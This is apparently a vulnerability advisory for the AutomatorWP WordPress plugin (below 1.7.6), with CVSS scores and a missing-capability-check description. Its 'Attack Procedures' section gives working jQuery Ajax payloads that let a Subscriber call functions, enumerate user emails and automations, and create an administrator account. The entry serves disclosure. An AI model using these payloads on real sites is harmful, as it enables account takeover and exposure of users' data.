8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
The plugin does not perform capability checks which allows users with Subscriber roles to enumerate automations, disclose title of private posts or user emails, call functions, or perform privilege escalation via Ajax actions.
Attack Procedures 1) Run this in Dashboard while logged in as Subscriber to get phpinfo (or other functions’) result. Note that no arguments are passed to the function: jQuery.post(ajaxurl,{action:“automatorwp_get_posts”,nonce:automatorwp_admin_notices.nonce,post_type_cb:“phpinfo”}) 2) Run this to enumerate automations: jQuery.post(ajaxurl,{action:“automatorwp_get_objects”,nonce:automatorwp_admin_notices.nonce,q:“”,table:“automatorwp_automations”}) or, user emails: jQuery.post(ajaxurl,{action:“automatorwp_get_users”,nonce:automatorwp_admin_notices.nonce,q:“”}) or, post titles: jQuery.post(ajaxurl,{action:“automatorwp_get_posts”,nonce:automatorwp_admin_notices.nonce}) 3) Run this to overwrite an Anonymous automation. Since an anonymous automations can be configured to create a new user with any role, including Administrator role and pre-defined passwords, this will allow privilege escalation. “id” is different from the automatio ID; however this can be brute-forced easily. jQuery.post(ajaxurl,{action:“automatorwp_update_item_option”,existing_user_not_exists:“new_user”,first_name:“”,id:“1”/* CHANGE THIS */,item_type:“action”,last_name:“”,new_user_exists: “abort”,new_user_search_field: “email”,nonce:automatorwp_admin_notices.nonce,option_name: “user”,role: “administrator”,run_actions_on: “existing_user”,search_field: “login”,search_field_value: “automatorwp-privesc”,user_email: “[email protected]”,user_login: “automatorwp-privesc”,“user_meta[0][meta_key]”: “”,“user_meta[0][meta_value]”: “”,user_pass: “escalated”,user_url: “”}) Run this and when the automation triggers a new user is created. you can log in as “automatorwp-privesc” with password “escalated”. You can also overwrite when the automation triggers via “automatorwp_add_automation_item” ajax.
CPE | Name | Operator | Version |
---|---|---|---|
automatorwp | lt | 1.7.6 |
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P